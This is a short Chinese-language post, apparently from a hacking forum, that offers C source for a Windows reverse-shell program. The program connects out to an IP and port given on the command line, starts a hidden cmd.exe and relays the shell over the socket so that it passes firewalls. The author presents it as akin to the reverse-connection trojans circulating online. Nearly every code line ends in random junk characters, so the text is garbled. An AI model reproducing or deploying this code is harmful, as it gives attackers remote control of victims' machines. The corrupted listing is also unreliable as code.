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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 F=H=[pSe  
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/* ============================== d8>D=Ve  
Rebound port in Windows NT rv%Xvs B  
By wind,2006/7 DzEixE-  
===============================*/ }m?L/Y'}  
#include &nYmVwi?"Q  
#include y[vjqfdmU  
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#pragma comment(lib,"wsock32.lib") _)Ms9RN  
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void OutputShell(); |(fWT}tg  
SOCKET sClient; >=bO@)[  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; li[g =A,  
u/AN| y  
void main(int argc,char **argv) 2iu;7/  
{ <fxYTd<#D[  
WSADATA stWsaData; &'R]oeag  
int nRet; +^.(3Aw  
SOCKADDR_IN stSaiClient,stSaiServer; q0}LfXql8  
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if(argc != 3) sf LBi~*j  
{ 8c#*T%Vf  
printf("Useage:\n\rRebound DestIP DestPort\n");  2r[,w]  
return; UkUdpZ.[il  
} C`ok{SNtUy  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 9Y(<W_{/  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CH2o[&  
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stSaiClient.sin_family = AF_INET; z y.Ok 49  
stSaiClient.sin_port = htons(0); :V [vE h  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); X qh+  
_LK(j;6K}  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) C5m*pGImG  
{ G100L}d"N  
printf("Bind Socket Failed!\n"); ;Wr$hDt^  
return; 5ZPl`[He  
} 84k;d;  
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stSaiServer.sin_family = AF_INET; zr,jaR;  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Cpr}*A   
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); p|Ln;aYc  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3wK)vW  
{ S7V;sR"V2  
printf("Connect Error!"); vi'K|[!?  
return; =(o$1v/k  
} UuN(+&oD-  
OutputShell(); umi#Se3&  
} J[9jNCq|  
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void OutputShell() Qt k'^Fc  
{ L%"&_v#a^  
char szBuff[1024]; /];F4AO5  
SECURITY_ATTRIBUTES stSecurityAttributes; )2a!EEHz  
OSVERSIONINFO stOsversionInfo; 7BC9cS(0w9  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Jyd%!v  
STARTUPINFO stStartupInfo; d{0>R{uac  
char *szShell; C'{Z?M>  
PROCESS_INFORMATION stProcessInformation; YpiSH(70`  
unsigned long lBytesRead; pDu~84!])  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5K8\hoW{  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); zdY`c  
stSecurityAttributes.lpSecurityDescriptor = 0; #pf}q+A  
stSecurityAttributes.bInheritHandle = TRUE; hM;EUWv  
0j3j/={|.1  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); S"lcePN  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); f6DPah#  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1 @/+ c  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }JI5,d  
stStartupInfo.wShowWindow = SW_HIDE; LnBkd:>}  
stStartupInfo.hStdInput = hReadPipe; 4kx#=MLt  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; qoEOM%dAqV  
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GetVersionEx(&stOsversionInfo); }ts?ZR^V,  
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switch(stOsversionInfo.dwPlatformId) iJ~p X\FKO  
{ ?L_#AdK  
case 1: *FO']D  
szShell = "command.com"; ~Su>^T(?-  
break; Jg7IGU(dct  
default: ,Qp58u2V  
szShell = "cmd.exe"; nwz}&nR  
break; ;R/=9l  
} nuvz!<5\{  
Z#9{1sHEP  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ]E`DG  
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send(sClient,szMsg,77,0); Am- JB  
while(1) 8,%y`tUn>u  
{ _wm"v19  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ak<?Eu9rV  
if(lBytesRead) @mW0EJ8bb  
{  Wkf)4!  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Xc'yz 2B  
send(sClient,szBuff,lBytesRead,0); SMnbI .0  
} O9!<L.X,%  
else ]Dx5t&  
{ w^dB1Y7c(W  
lBytesRead=recv(sClient,szBuff,1024,0); x *(pr5k  
if(lBytesRead<=0) break; z]tvy).  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); K2NnA  
} .Yo# vV  
} 7n %QP  
~aBALD0D;  
return; <>p\9rVp*^  
}
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